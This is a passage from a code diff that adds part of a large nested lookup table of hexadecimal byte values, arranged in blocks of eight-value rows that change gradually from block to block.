+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f}
+        },
+        {
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f}
+        },
+        {
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f}
+        },
+        {
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f}
+        },
+        {
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f}
+        },
+        {
+            {0x10, 0x01, 0x12, 0x1b, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f}
+        },
+        {
+            {0x10, 0x01, 0x12, 0x1b, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f}
+        },
+        {
+            {0x10, 0x01, 0x12, 0x1b, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f}
+        },
+        {
+            {0x10, 0x01, 0x12, 0x1b, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f}
+        },
+        {
+            {0x10, 0x01, 0x12, 0x1b, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x10, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x0e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x01, 0x12, 0x13, 0x1c, 0x1d, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x12, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x1c, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x0f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
